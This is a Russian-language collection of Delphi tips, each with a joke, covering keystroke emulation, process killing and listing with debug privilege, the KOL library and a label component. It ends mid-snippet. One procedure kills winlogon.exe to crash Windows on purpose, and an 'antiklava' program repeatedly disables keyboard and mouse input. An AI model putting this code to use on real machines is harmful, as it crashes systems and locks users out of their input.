 SendMessage(Memo1.Handle, WM_CHAR, Ord('A'), 0);
 




Эмуляция нажатия клавиш 2

Два программера в дупель пьяные из кабака выходят, один дpугому говоpит:
- Hу что, включай автопилот.
- А у меня его нету.
- Hу тогда включай эмулятоp автопилота.

Есть ли в Delphi эквивалент функции SendKeys Visual Basic'а?

Ниже приведена процедура, позволяющаю отправлять нажатия в любой элемент управления (window control), способный принимать ввод с клавиатуры. Вы можете использовать эту технику чтобы включать клавиши NumLock, CapsLock и ScrollLock под Windows NT. Та же техника работает и под Windows 95 для CapsLock и ScrollLock, но не работает для клавиши NumLock. Обратите внимание, что приведены четыре поцедуры:

SimulateKeyDown() - эмулировать нажатие клавиши (без отпускания)
SimulateKeyUp() - эмулировать отпускание клавиши
SimulateKeystroke() - эмулировать удар по клавише (нажатие и отпускание) и
SendKeys(), позволяющие Вам гибко контролировать посылаемые сообщения клавиатуры.

SimulateKeyDown(), SimulateKeyUp() и SimulateKeystroke() получают коды виртуальных клавиш (virtural key) (вроде VK_F1). Процедура SimulateKeystroke() получает дополнительный параметр, полезный при эмуляции нажатия PrintScreen. Когда этот параметр равен нулю весь экран будет скопирован в буфер обмена (clipboard). Если дополнительный параметр равен 1 будет скопированно только активное окно.

Четыре метода "button click" демонстрируют использование:

ButtonClick1 - включает capslock
ButtonClick2 - перехватывает весь экран в буфер обмена (clipboard).
ButtonClick3 - перехватывает активное окно в буфер обмена (clipboard).
ButtonClick4 - устанавливает фокус в Edit и отправляет в него строку.

Пример:


 procedure SimulateKeyDown(Key : byte);
 begin
     keybd_event(Key, 0, 0, 0);
 end;
 
 procedure SimulateKeyUp(Key : byte);
 begin
     keybd_event(Key, 0, KEYEVENTF_KEYUP, 0);
 end;
 
 procedure SimulateKeystroke(Key : byte; extra : DWORD);
 begin
     keybd_event(Key,extra,0,0);
     keybd_event(Key,extra,KEYEVENTF_KEYUP,0);
 end;
 
 procedure SendKeys(s : string);
 var
     i : integer;
     flag : bool;
     w : word;
 begin
     {Get the state of the caps lock key}
     flag := not GetKeyState(VK_CAPITAL) and 1 = 0;
     {If the caps lock key is on then turn it off}
     if flag then
         SimulateKeystroke(VK_CAPITAL, 0);
     for i := 1 to Length(s) do
         begin
             w := VkKeyScan(s[i]);
             {If there is not an error in the key translation}
             if ((HiByte(w) <> $FF) and (LoByte(w) <> $FF)) then
                 begin
                     {If the key requires the shift key down - hold it down}
                     if HiByte(w) and 1 = 1 then
                         SimulateKeyDown(VK_SHIFT);
                         {Send the VK_KEY}
                     SimulateKeystroke(LoByte(w), 0);
                     {If the key required the shift key down - release it}
                     if HiByte(w) and 1 = 1 then
                         SimulateKeyUp(VK_SHIFT);
                 end;
         end;
 {if the caps lock key was on at start, turn it back on}
 if flag then
     SimulateKeystroke(VK_CAPITAL, 0);
 end;
 
 procedure TForm1.Button1Click(Sender: TObject);
 begin
     {Toggle the cap lock}
     SimulateKeystroke(VK_CAPITAL, 0);
 end;
 
 procedure TForm1.Button2Click(Sender: TObject);
 begin
     {Capture the entire screen to the clipboard}
     {by simulating pressing the PrintScreen key}
     SimulateKeystroke(VK_SNAPSHOT, 0);
 end;
 
 procedure TForm1.Button3Click(Sender: TObject);
 begin
     {Capture the active window to the clipboard}
     {by simulating pressing the PrintScreen key}
     SimulateKeystroke(VK_SNAPSHOT, 1);
 end;
 
 procedure TForm1.Button4Click(Sender: TObject);
 begin
     {Set the focus to a window (edit control) and send it a string}
     Application.ProcessMessages;
     Edit1.SetFocus;
     SendKeys('Delphi Is RAD!');
 end;
 




Убиваем активное приложение


 procedure KillProgram(Classname: string; WindowTitle: string);
 const
   PROCESS_TERMINATE = $0001;
 var
   ProcessHandle : THandle;
   ProcessID: Integer;
   TheWindow : HWND;
 begin
   TheWindow := FindWindow(Classname, WindowTitle);
   GetWindowThreadProcessID(TheWindow, @ProcessID);
   ProcessHandle := OpenProcess(PROCESS_TERMINATE, FALSE, ProcessId);
   TerminateProcess(ProcessHandle,4);
 end;
 




Как завершить задачу в Windows (а заодно получить PID задачи)


- Вы уверены,что хотите удалить папку D:\TEMP?
- Да.
- В этой папке находятся файлы. Вы уверены, что хотите их удалить?
- Да!
- Удаление этих файлов может повлиять на зарегистрированные программы. Вы все еще уверены?
- Да! Да! Да!!!
- Эти файлы могут использоваться системой. Вы уверены?
- Пошла ты нахуй! - заорал админ и нажал Cancel.
- Ага! Испугался! - подумала NT

Ниже приведён unit, который позволяет убить задачу в Windows NT:


 function Kill_By_Pid(pid: longint): integer;
 

где pid, это число, представляющее pid задачи


 function EnumProcessWithPid(list: TStrings): integer;
 

где список, это объект TStrings, который будет содержать имя задачи и pid в полях Object. (list.Items[i] для имени, integer(list.Object[i]) для PID)

Дальше следует сам код:


 procedure GenerateBlueScreen;
 var
   Task : TStringList;
   i : integer;
 begin
   Task := TStringList.Create;
   try
     EnumProcessWithPid(Task);
     for i := 0 to Task.Count - 1 do
     begin
       TaskName := UpperCase(Task[i]);
       if (TaskName = 'WINLOGON.EXE') then
       begin
         // Generate a nice BlueScreenOfDeath
         Kill_By_Pid(integer(Task.Objects[i]));
         Beep;
         break;
       end;
     end;
   finally
     Task.Free;
   end;
 end;
 
 
 
 unit U_Kill;
 {
 ** JF 15/02/2000 - U_Kill.pas
 ** This unit allow you to list and to kill runnign process. (Work only on NT)
 ** Entry point : EnumProcessWithPid and Kill_By_Pid.
 ** v1.2 JF correct a bug in Kill_By_Pid
 ** v1.3 JF change a thing for D5 05/09/2000
 **
 }
 interface
 
 uses
   Classes;
 
 //** Error code **//
 const
   KILL_NOERR = 0;
   KILL_NOTSUPPORTED = -1;
   KILL_ERR_OPENPROCESS = -2;
   KILL_ERR_TERMINATEPROCESS = -3;
 
   ENUM_NOERR = 0;
   ENUM_NOTSUPPORTED = -1;
   ENUM_ERR_OPENPROCESSTOKEN = -2;
   ENUM_ERR_LookupPrivilegeValue = -3;
   ENUM_ERR_AdjustTokenPrivileges = -4;
 
   GETTASKLIST_ERR_RegOpenKeyEx = -1;
   GETTASKLIST_ERR_RegQueryValueEx = -2;
 
   function Kill_By_Pid(pid : longint) : integer;
   function EnumProcessWithPid(list : TStrings) : integer;
 
 implementation
 uses
   Windows, Registry, SysUtils;
 
 var
   VerInfo : TOSVersionInfo;
 
 const
   SE_DEBUG_NAME = 'SeDebugPrivilege';
   INITIAL_SIZE = 51200;
   EXTEND_SIZE = 25600;
   REGKEY_PERF = 'software\microsoft\windows nt\currentversion\perflib';
   REGSUBKEY_COUNTERS ='Counters';
   PROCESS_COUNTER ='process';
   PROCESSID_COUNTER ='id process';
   UNKNOWN_TASK ='unknown';
 
 type
   ArrayOfChar = array[0..1024] of char;
   pArrayOfChar = ^pArrayOfChar;
 type
   TPerfDataBlock = record
   Signature : array[0..3] of WCHAR;
   LittleEndian : DWORD;
   Version : DWORD;
   Revision : DWORD;
   TotalByteLength : DWORD;
   HeaderLength : DWORD;
   NumObjectTypes : DWORD;
   DefaultObject : integer;
   SystemTime : TSystemTime;
   PerfTime : TLargeInteger;
   PerfFreq : TLargeInteger;
   PerfTime100nSec : TLargeInteger;
   SystemNameLength: DWORD;
   SystemNameOffset: DWORD;
   end;
 
   pTPerfDataBlock = ^TPerfDataBlock;
   TPerfObjectType = record
   TotalByteLength : DWORD;
   DefinitionLength : DWORD;
   HeaderLength : DWORD;
   ObjectNameTitleIndex : DWORD;
   ObjectNameTitle : LPWSTR;
   ObjectHelpTitleIndex : DWORD;
   ObjectHelpTitle : LPWSTR;
   DetailLevel : DWORD;
   NumCounters : DWORD;
   DefaultCounter : integer;
   NumInstances : integer;
   CodePage : DWORD;
   PerfTime : TLargeInteger;
   PerfFreq : TLargeInteger;
   end;
 
   pTPerfObjectType = ^TPerfObjectType;
 
   TPerfInstanceDefinition = record
   ByteLength : DWORD;
   ParentObjectTitleIndex : DWORD;
   ParentObjectInstance : DWORD;
   UniqueID : integer;
   NameOffset : DWORD;
   NameLength : DWORD;
   end;
 
   pTPerfInstanceDefinition = ^TPerfInstanceDefinition;
 
   TPerfCounterBlock = record
   ByteLength : DWORD;
   end;
 
   pTPerfCounterBlock = ^TPerfCounterBlock;
 
   TPerfCounterDefinition = record
   ByteLength : DWORD;
   CounterNameTitleIndex : DWORD;
   CounterNameTitle : LPWSTR;
   CounterHelpTitleIndex : DWORD;
   CounterHelpTitle : LPWSTR;
   DefaultScale : integer;
   DetailLevel : DWORD;
   CounterType : DWORD;
   CounterSize : DWORD;
   CounterOffset : DWORD;
   end;
 
   pTPerfCounterDefinition = ^TPerfCounterDefinition;
 
 procedure InitKill;
 begin
   VerInfo.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
   GetVersionEx(VerInfo);
 end;
 
 (*
 #define MAKELANGID(p, s) ((((WORD )(s)) << 10) | (WORD )(p))
 *)
 function MAKELANGID(p : DWORD ; s : DWORD) : word;
 begin
   result := (s shl 10) or (p);
 end;
 
 function Kill_By_Pid(pid : longint) : integer;
 var
   hProcess : THANDLE;
   TermSucc : BOOL;
 begin
   if (verInfo.dwPlatformId = VER_PLATFORM_WIN32_NT) then
   begin
     hProcess := OpenProcess(PROCESS_ALL_ACCESS, true, pid);
     if (hProcess = 0) then // v 1.2 : was =-1
     begin
       result := KILL_ERR_OPENPROCESS;
     end
     else
     begin
       TermSucc := TerminateProcess(hProcess, 0);
       if (TermSucc = false) then
         result := KILL_ERR_TERMINATEPROCESS
       else
         result := KILL_NOERR;
     end;
   end
   else
     result := KILL_NOTSUPPORTED;
 end;
 
 function EnableDebugPrivilegeNT : integer;
 var
   hToken : THANDLE;
   DebugValue : TLargeInteger;
   tkp : TTokenPrivileges ;
   ReturnLength : DWORD;
   PreviousState: TTokenPrivileges;
 begin
   if (OpenProcessToken(GetCurrentProcess, TOKEN_ADJUST_PRIVILEGES or
   TOKEN_QUERY, hToken) = false) then
     result := ENUM_ERR_OPENPROCESSTOKEN
   else
   begin
     if (LookupPrivilegeValue(nil, SE_DEBUG_NAME, DebugValue) = false) then
       result := ENUM_ERR_LookupPrivilegeValue
     else
     begin
       ReturnLength := 0;
       tkp.PrivilegeCount := 1;
       tkp.Privileges[0].Luid := DebugValue;
       tkp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
       AdjustTokenPrivileges(hToken, false, tkp, SizeOf(TTokenPrivileges),PreviousState , ReturnLength);
       if (GetLastError <> ERROR_SUCCESS) then
         result := ENUM_ERR_AdjustTokenPrivileges
       else
         result := ENUM_NOERR;
     end;
   end;
 end;
 
 function IsDigit(c : char) : boolean;
 begin
   result := (c>='0') and (c<='9');
 end;
 
 function min(a,b : integer) : integer;
 begin
   if (a < b) then
     result := a
   else
     result := b;
 end;
 
 function GetTaskListNT(pTask : TStrings) : integer;
 var
   rc : DWORD;
   hKeyNames : HKEY;
   dwType : DWORD;
   dwSize : DWORd;
   buf : PBYTE;
   szSubkey : array[0..1024] of char;
   lid : LANGID;
   p : PCHAR;
   p2 : PCHAR;
   pPerf : pTPerfDataBlock;
   pObj : pTPerfObjectType;
   pInst : pTPerfInstanceDefinition;
   pCounter : pTPerfCounterBlock;
   pCounterDef : pTPerfCounterDefinition;
   i : DWORD;
   dwProcessIdTitle : DWORD;
   dwProcessIdCounter : DWORD;
   szProcessName : array[0..MAX_PATH] of char;
   dwLimit : DWORD;
   dwNumTasks : dword;
 
   ProcessName : array[0..MAX_PATH] of char;
   dwProcessID : DWORD;
 label
   EndOfProc;
 begin
   dwNumTasks := 255;
   dwLimit := dwNumTasks - 1;
   StrCopy(ProcessName, '');
   lid := MAKELANGID(LANG_ENGLISH, SUBLANG_NEUTRAL);
   StrFmt(szSubKey, '%s\%.3X', [REGKEY_PERF, lid]);
   rc := RegOpenKeyEx(HKEY_LOCAL_MACHINE, szSubKey, 0, KEY_READ, hKeyNames);
   if (rc <> ERROR_SUCCESS) then
     result := GETTASKLIST_ERR_RegOpenKeyEx
   else
   begin
     result := 0;
     rc := RegQueryValueEx(hKeyNames, REGSUBKEY_COUNTERS, nil, @dwType, nil, @dwSize);
     if (rc <> ERROR_SUCCESS) then
       result := GETTASKLIST_ERR_RegQueryValueEx
     else
     begin
       GetMem(buf, dwSize);
       FillChar(buf^, dwSize, 0);
       RegQueryValueEx(hKeyNames, REGSUBKEY_COUNTERS, nil, @dwType, buf, @dwSize);
       p := PCHAR(buf);
       dwProcessIdTitle := 0;
       while (p^<>#0) do
       begin
         if (p > buf) then
         begin
           p2 := p - 2;
           while(isDigit(p2^)) do
             dec(p2);
         end;
         if (StrIComp(p, PROCESS_COUNTER) = 0) then
         begin
           p2 := p -2;
           while(isDigit(p2^)) do
             dec(p2);
           strCopy(szSubKey, p2+1);
         end
         else
         if (StrIComp(p, PROCESSID_COUNTER) = 0) then
         begin
           p2 := p - 2;
           while(isDigit(p2^)) do
             dec(p2);
           dwProcessIdTitle := StrToIntDef(p2+1, -1);
         end;
         p := p + (Length(p) + 1);
       end;
       FreeMem(buf); buf := nil;
       dwSize := INITIAL_SIZE;
       GetMem(buf, dwSize);
       FillChar(buf^, dwSize, 0);
       pPerf := nil;
       while (true) do
       begin
         rc := RegQueryValueEx(HKEY_PERFORMANCE_DATA, szSubKey, nil, @dwType, buf, @dwSize);
         pPerf := pTPerfDataBlock(buf);
         if ((rc = ERROR_SUCCESS) and (dwSize > 0) and
         (pPerf^.Signature[0] = WCHAR('P')) and
         (pPerf^.Signature[1] = WCHAR('E')) and
         (pPerf^.Signature[2] = WCHAR('R')) and
         (pPerf^.Signature[3] = WCHAR('F'))) then
         begin
           break;
         end;
         if (rc = ERROR_MORE_DATA) then
         begin
           dwSize := dwSize + EXTEND_SIZE;
           FreeMem(buf); buf := nil;
           GetMem(buf, dwSize);
           FillChar(buf^, dwSize, 0);
         end
         else
           goto EndOfProc;
       end;
 
       pObj := pTPerfObjectType( DWORD(pPerf) + pPerf^.HeaderLength);
 
       pCounterDef := pTPerfCounterDefinition( DWORD(pObj) + pObj^.HeaderLength);
       dwProcessIdCounter := 0;
       i := 0;
       while (i < pObj^.NumCounters) do
       begin
         if (pCounterDef^.CounterNameTitleIndex = dwProcessIdTitle) then
         begin
           dwProcessIdCounter := pCounterDEf^.CounterOffset;
           break;
         end;
         inc(pCounterDef);
         inc(i);
       end;
       dwNumTasks := min(dwLimit, pObj^.NumInstances);
       pInst := PTPerfInstanceDefinition(DWORD(pObj) + pObj^.DefinitionLength);
 
       i := 0;
       while ( i < dwNumTasks) do
       begin
         p := PCHAR(DWORD(pInst)+pInst^.NameOffset);
         rc := WideCharToMultiByte(CP_ACP, 0, LPCWSTR(p), -1, szProcessName, SizeOf(szProcessName), nil, nil);
         {** This is changed for working with D3 and D5 05/09/2000 **}
         if (rc = 0) then
           StrCopy(ProcessName, UNKNOWN_TASK)
         else
           StrCopy(ProcessName, szProcessName);
         // Получаем ID процесса
         pCounter := pTPerfCounterBlock( DWORD(pInst) + pInst^.ByteLength);
         dwProcessId := LPDWORD(DWORD(pCounter) + dwProcessIdCounter)^;
         if (dwProcessId = 0) then
           dwProcessId := DWORD(0);
         pTask.AddObject(ProcessName, TObject(dwProcessID));
         pInst := pTPerfInstanceDefinition( DWORD(pCounter) + pCounter^.ByteLength);
         inc(i);
       end;
       result := dwNumTasks;
     end;
   end;
   EndOfProc:
   if (buf <> nil) then
     FreeMem(buf);
   RegCloseKey(hKeyNames);
   RegCloseKey(HKEY_PERFORMANCE_DATA);
   RegCloseKey(hKeyNames);
   RegCloseKey(HKEY_PERFORMANCE_DATA);
 end;
 
 function EnumProcessWithPid(list : TStrings) : integer;
 begin
   if (verInfo.dwPlatformId = VER_PLATFORM_WIN32_NT) then
   begin
     EnableDebugPrivilegeNT;
     result := GetTaskListNT(list);
   end
   else
     result := ENUM_NOTSUPPORTED;
 end;
 
 initialization
   InitKill;
 
 end.
 




Как убить задачу, зная только имя EXE

Три недели после свадьбы. Молодая жена звонит матери вся в слезах: - Мам, я просто не знаю что делать! У нас тут такая семейная сцена разыгралась! Ужас! - Спокойно, дочка, не расстраивайся. В каждой семье когда-нибудь возникают первые споры, разногласия, конфликты... - Да это я знаю. А с трупом чего делать?


 KillTask('notepad.exe');
 KillTask('iexplore.exe');
 
 //*-*-*-*-*
 
 uses
   Tlhelp32, Windows, SysUtils;
 
 function KillTask(ExeFileName: string): integer;
 const
   PROCESS_TERMINATE=$0001;
 var
   ContinueLoop: BOOL;
   FSnapshotHandle: THandle;
   FProcessEntry32: TProcessEntry32;
 begin
   result := 0;
 
   FSnapshotHandle := CreateToolhelp32Snapshot
   (TH32CS_SNAPPROCESS, 0);
   FProcessEntry32.dwSize := Sizeof(FProcessEntry32);
   ContinueLoop := Process32First(FSnapshotHandle,
   FProcessEntry32);
 
   while integer(ContinueLoop) <> 0 do
   begin
     if ((UpperCase(ExtractFileName(FProcessEntry32.szExeFile)) =
     UpperCase(ExeFileName)) or (UpperCase(FProcessEntry32.szExeFile) =
     UpperCase(ExeFileName))) then
       Result := Integer(TerminateProcess(OpenProcess(
       PROCESS_TERMINATE, BOOL(0), FProcessEntry32.th32ProcessID), 0));
     ContinueLoop := Process32Next(FSnapshotHandle, FProcessEntry32);
   end;
 
   CloseHandle(FSnapshotHandle);
 end;
 




Клавиатура не работает


Встречаются два друга:
1 – Ты чего такой грустный?
2 – Да вот вчера поймал золотую рыбку, и она выполнила моё самое заветное желание.
1 – И какое было твоё желание?
2 – Чтобы у меня было столько денег, как у Билла Гейтса.
1 – Так радоваться надо!
2 – Я тоже сначала радовался, а сегодня Билли разорился…


 program antiklava;
 { подключение необходимых модулей }
 uses
   Windows;
 { объявление логической переменной}
 var
   klava: boolean;
 begin
   { устанавливаем значение переменной }
   klava:=true;
   { начинаем бесконечный цикл }
   while true do
   begin
     { делаем так, чтобы всё не подвисло :)}
     Yield;
     { ничего не делаем 2 минуты }
     Sleep(2*60*1000);
     { присваиваем переменной противоположное значение }
     klava:=not klava;
     { и в зависимости от переменной,
     отключаем или включаем клаву с мышкой}
     EnableHardwareInput(klava);
   end;
 end.
 




KOL - кодоэкономичная объектная библиотека для Delphi

Автор: Кладов В.Л.

Цель данной статьи - убедить читателя (я надеюсь, этот текст попадет в руки программиста), привыкшего к большим размерам современных программ (о, нет, приложений, программы-то как раз были еще не очень большими) в том, что его бессовестно надувают. Когда утверждают, что программа для среды Windows, если она что-то полезное умеет делать, никак не может быть меньше... ну, скажем, трехсот килобайт. А если это очень "умная" программа, содержащая очень много полезных возможностей, хороший интерфейс, отлично взаимодействующая с пользователем, поддерживает различные форматы данных, современные клиент-серверные технологии, то без полсотни мегабайт ну никак не обойтись. Чушь несусветная. Нас обманывают!

На самом деле, объектное программирование позволяет создавать очень экономичный по размеру код. Причем, достаточно эффективный. Примеры? Пожалуйства. Ява - объектно-ориентированное программирование. Ява-апплеты очень невелики по своим размерам, а как много полезного они умеют делать! Впрочем, речь пойдет не о Яве. Предметом данного разговора будет среда Delphi.

Как ни странно, именно Delphi оказался тем инструментом, с помощью которого оказалось возможным изготовить библиотеку KOL - Key Objects Library (Ключевую Объектную Библиотеку). Странно потому, может быть, что программы, изготовленные средствами Delphi, обычно маленькими не бывают. Минимальный стартовый размер приложения, представляющего из себя одно пустое окно, которое можно подвигать по экрану и закрыть, и которое, собственно, ничего больше делать не умеет, составляет около трехсот килобайт. Причем, с выпуском каждой очередной версии Delphi этот стартовый размер вырастает еще на несколько десятков ни в чем неповинных килобайт.

Библиотека KOL позволяет изготавливать не менее мощные приложения, чем стандартная библиотека Delphi - VCL (Visual Component Library, Визуальная Библиотека Компонентов). И при этом добиваться уменьшения размеров программ в 5-15 раз! Например, приложение DirComp, доступное для загрузки на сайте KOL, занимает без сжатия упаковывающими программами около 65 килобайт. Аналогичное приложение, написанное за два года до этого с использованием стандартной библиотеки Delphi, занимало 750 килобайт. Разница впечатляет, не правда ли?

KOL - не только объектно-ориентированная, но и визуальная библиотека. Программы и их графический интерфейс возможно проектировать практически так же, как и в визуальной среде VCL. В дополнение к KOL идет библиотека MCK (Mirror Classes Kit, Библиотека Зеркальных Классов), которая содержит VCL-компоненты, устанавливающиеся на палитру обычным образом. Единственное отличие в том, что зеркальные компоненты библиотеки MCK существуют только на стадии разработки (design time), участвуя в генерации "настоящего" кода, совместимого с требованиями библиотеки KOL. Во время работы (run time) выполняется этот код, и тот, который был добавлен самим разработчиком. В коде времени исполнения нет ссылок на компоненты VCL, есть только объекты KOL, компактные и эффективные.

В чем же заключается секрет компактности кода? Ответ не один, но выделить главные составляющие все же представляется возможным. В первую очередь следует отметить способность компилятора Delphi не включать в код конечного приложения невостребованный код. Процедуры и переменные, на которые нет ссылок из того кода, который уже внесен в список участков кода, подлежащих включению в конечный продукт, отбрасываются и в дальнейшей сборке не учавствуют. К сожалению, данная способность компилятора Delphi, называемая самими разработчиками компилятора "smart linking" (умное связывание), несколько ограничена. В частности, виртуальные методы используемых классов и объектов не могут быть изъяты из процесса компиляции и сборки приложения. Соответственно, и те переменные и процедуры (методы), на которые имеются ссылки из таких виртуальных методов, также не могут быть отброшены.

При разработке библиотеки KOL это обстоятельство было учтено. Автору пришлось отказаться от жесткого следования канонам объектно-ориентированного программирования. В частности, в KOL один и тот же объектный тип может использоваться для инкапсуляции нескольких подобных друг другу объектов. Например, тип TControl не является базовым для описания визуальных объектов подобно тому, как это сделано в VCL. Представители объектного типа TControl в библиотеке KOL уже без какого-либо наследования могут выполнять роль различных визуальных объектов (кнопок, меток, панелек, и т.п.) - в зависимости от того, какая глобальная функция использовалась для конструирования каждого конкретного объекта (например, NewPanel, NewButton и т.д.)

Такое совмещение нескольких объектов в одном объектном типе, вообще говоря, может приводить к некоторой путанице, поскольку наряду с методами и свойствами, общими для всех объектов, инкапсулированных этим объектным типом, могут иметься методы и свойства сугубо индивидуальные, характерные только для некоторой конкретной разновидности объектов. Поскольку тип (класс) тот же самый, существует вероятность ошибочного применения метода, не свойственного для данной разновидности объекта. Единственная причина, заставившая автора поступать так, это необходимость избежать большого числи виртуальных методов.

Разумеется, если бы виртуальные методы благополучно пропускались компилятором в тех случаях, когда они не нужны (а потенциально такая возможность существует), структуру объектов можно было бы сделать более ясной. Тем не менее, даже и в этом случае VCL не позволил бы программам стать намного компактнее. И проблема здесь уже в том, что разработчики VCL спроектировали свою библиотеку так, что многие объекты создаются и многие действия производятся еще до того, как будет известно, понадобятся ли они вообще, или так и останутся лежать в коде программы мертвым грузом. Например, если создается визуальный объект, то для него инициализируется шрифт, полотно для рисования, менеджеры перетаскивания, множество других объектов - на всякий случай: а вдруг понадобятся! Конечно, программе может понадобиться что-нибудь нарисовать, или изменить какой-нибудь шрифт. Программа может быть спроектирована для использования популярного интерфейса расположения плавающих панелей drag-and-dock. Может, но ведь не обязана, так?

В противоположность VCL, библиотека KOL поступает с необязательными действиями и объектами значительно более аккуратно. Они (действия) выполняются и (объекты) инициализируются только тогда, когда они впервые потребуются. Очистка ресурсов и памяти по завершении использования при этом проблем как раз не представляет. Один и тот же (виртуальный) метод Free прекрасно справляется с освобождением отработавших подчиненных объектов, независимо от их типа. Собственно, это и есть главная причина того, почему программы, изготовленные с использованием библиотеки KOL, настолько кодоэкономичны.

В описываемой библиотеке используется несколько различных способов реализации такого отложенного принятия решения, в зависимости от природы необязательного к включению в программу кода. Важнее не столько перечислить эти способы, которые, вообще говоря, являются просто удачным применением общепринятых программистских приемов, сколько объяснить и понять суть их действия.

Как известно, исходный текст программы превращается в исполняемый машинный код в результате работы иногда нескольких программ: прекомпилятора, компилятора, сборщика. Отметим, что когда речь идет о среде Delphi, разделять эти шаги особого смысла не имеет, так как все они выполняются одной и той же программой. Поэтому, говоря "компилятор", будем подразумевать все эти этапы вместе. Поскольку именно компилятор Delphi принимает решение, подключать или не подключать код той или иной процедуры к программе, откладывание решения о необходимости ее использования путем первого обращения к ней в коде только тогда, когда ее функциональность оказалась востребована разработчиком проекта, требует пояснения.

На самом деле, все очень просто разъясняется слеующим небольшим примером. Пусть наш визуальный объект (кнопка, к примеру) содержит свойство Font (шрифт). В отличие от VCL, не будем создавать подчиненный объект, соответствующий этому свойству, в конструкторе нашего объекта (кнопки, хозяина шрифта). Создадим его в том методе, который выполняет чтение свойства Font (в методе GetFont), в случае если он еще не создан. В итоге, если в приложении к свойству Font нигде нет обращений (т.е. разработчику не было нужды изменять шрифт своих визуальных объектов, и его устраивают стандартные шрифты, настроенные пользователем), компилятор не обнаружит и ни одного вызова метода GetFont, и соответственно, не включит в программу код этого метода. Следовательно, ни одной ссылки не будет обнаружено ни на конструктор объекта шрифта, ни на другие процедуры, которые иначе бы оказались задействованы и попали бы в исполнимый модуль.

Понятно, что приведенный пример поясняет только один из многих использованных приемов. Но принцип всех таких приемов один и тот же, а именно, как уже сказано выше: отложить принятие решения о подключении дополнительного кода до тех пор, пока он не потребуется разработчику программногопродукта. По мнению автора, данный принцип в корне расходится со сложившейся практикой программирования. Пожалуй, на примере KOL, в частности доказана нелепость общепринятого подхода, который приводит к тому, что 90% кода в современных приложениях - это шлак, мусор, который если и работает, то вхолостую, и лишь попусту затрачивает ресурсы процессора, оперативной памяти, занимает место на жестком диске, отнимает время при передаче лишних сотен килобайт по сети и через интернет, и залезает при этом в ваш карман. И недаром в ответ на вопрос, как уменьшить размер программы, иногда можно получить такой ответ, что, дескать, зачем уменьшать? - чем больше объем, тем больше заплатят. (Варианты: "солидней", заказчик больше уважает). Не бессмыслица ли?

Если кто-то из Delphi-программистов, прочитавших эту статью, заинтересуется, то милости прошу на интернет-страницу KOL/MCK, берите себе эти библиотеки (все совершенно бесплатно, в исходных кодах), и обязательно попробуйте. Уверяю: не пожалеете!

Интернет-страница KOL/MCK: http://xcl.cjb.net




3D-рамка для текстовых компонентов

Вспоминаю что надо сходить в магазин за продуктаим - беру деньги смотрю нехватает ,а сам уже автоматически думаю надо взять отгрузочный файл - найти байты денег и сделать себе побольше...

Один из примеров создания текстового компонента с трехмерной декоративной контурной рамкой (для создания компонента потребовалось около получаса. Он демонстрирует только принцип получения рамки. Я не стал колдовать над свойствами типа ParentFont..., т.к. это заняло бы еще немало времени и места).


 unit IDSLabel;
 
 interface
 
 uses
 
   Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,
   Dialogs,
 
   ExtCtrls;
 
 type
 
   TIDSLabel = class(TBevel)
   private
     { Private declarations }
     FAlignment: TAlignment;
     FCaption: string;
     FFont: TFont;
     FOffset: Byte;
 
     FOnChange: TNotifyEvent;
 
     procedure SetAlignment(taIn: TAlignment);
     procedure SetCaption(const strIn: string);
     procedure SetFont(fntNew: TFont);
     procedure SetOffset(bOffNew: Byte);
   protected
     { Protected declarations }
     constructor Create(compOwn: TComponent); override;
     destructor Destroy; override;
     procedure Paint; override;
   public
     { Public declarations }
   published
     { Published declarations }
     property Alignment: TAlignment read FAlignment write SetAlignment default
       taLeftJustify;
     property Caption: string read FCaption write SetCaption;
     property Font: TFont read FFont write SetFont;
     property Offset: Byte read FOffset write SetOffset;
 
     property OnChange: TNotifyEvent read FOnChange write FOnChange;
   end;
 
 implementation
 
 constructor TIDSLabel.Create;
 begin
 
   inherited Create(compOwn);
 
   FFont := TFont.Create;
   with compOwn as TForm do
     FFont.Assign(Font);
 
   Offset := 4;
   Height := 15;
 end;
 
 destructor TIDSLabel.Destroy;
 begin
 
   FFont.Free;
 
   inherited Destroy;
 end;
 
 procedure TIDSLabel.Paint;
 var
 
   wXPos, wYPos: Word;
 begin
 
   {Рисуем рамку}
   inherited Paint;
 
   {Назначаем шрифт}
   Canvas.Font.Assign(Font);
 
   {Вычисляем вертикальную позицию}
   wYPos := (Height - Canvas.TextHeight(Caption)) div 2;
 
   {Вычисляем горизонтальную позицию}
   wXPos := Offset;
   case Alignment of
     taRightJustify: wXPos := Width - Canvas.TextWidth(Caption) - Offset;
     taCenter: wXPos := (Width - Canvas.TextWidth(Caption)) div 2;
   end;
   Canvas.Brush := Parent.Brush;
   Canvas.TextOut(wXPos, wYPos, Caption);
 
 end;
 
 procedure TIDSLabel.SetAlignment;
 begin
 
   FAlignment := taIn;
   Invalidate;
 end;
 
 procedure TIDSLabel.SetCaption;
 begin
   FCaption := strIn;
 
   if Assigned(FOnChange) then
     FOnChange(Self);
 
   Invalidate;
 end;
 
 procedure TIDSLabel.SetFont;
 begin
 
   FFont.Assign(fntNew);
   Invalidate;
 end;
 
 procedure TIDSLabel.SetOffset;
 begin
 
   FOffset := bOffNew;
   Invalidate;
 end;
 
 end.
 
 




Как выяснить дату последнего доступа к файлу

Некий программист-коболист в поте лица трудился над пресловутой проблемой 2000 года. Он чинил программы во многих фирмах и зашибал приличные бабки. Но по мере приближения роковой даты его все больше охватывал ужас: что будет со всеми этими программами и с ним самим? Наконец он решил заморозиться и проспать в анабиозе до февраля 2000 года, а там, глядишь, вся свистопляска и уляжется...
...Он проснулся в странном незнакомом помещении, вокруг ликовали люди:
- Очнулся, очнулся!
- Сейчас с вами будет говорить президент Земного Шара.
На огромном стереоскопическом экране возник человек, весьма похожий на Билла Гейтса.
- Видите ли, программа вашей камеры при переходе к 2000 году сработала неправильно, и вы проспали почти 8000 лет. Но вы не волнуйтесь. Наша жизнь прекрасна. Мы достигли огромных успехов в науке и технологии. Мы покорили время и пространство. Мы...
- Но почему вы меня разморозили?
- Понимаете, приближается 10000 год, а в вашем досье указано, что вы знаете КОБОЛ.

Данная процедура, позволяет узнать дату последнего доступа к файлу, код не проверял, но говорят работает. Для тех кто не знает что с этим делать намекну, можно использовать для создания триального реиода или просто отслеживания доступа к компьютеру.


 procedure TForm1.Button1Click(Sender: TObject);
 var
   FileHandle: THandle;
   LocalFileTime: TFileTime;
   DosFileTime: DWORD;
   LastAccessedTime: TDateTime;
   FindData: TWin32FindData;
 begin
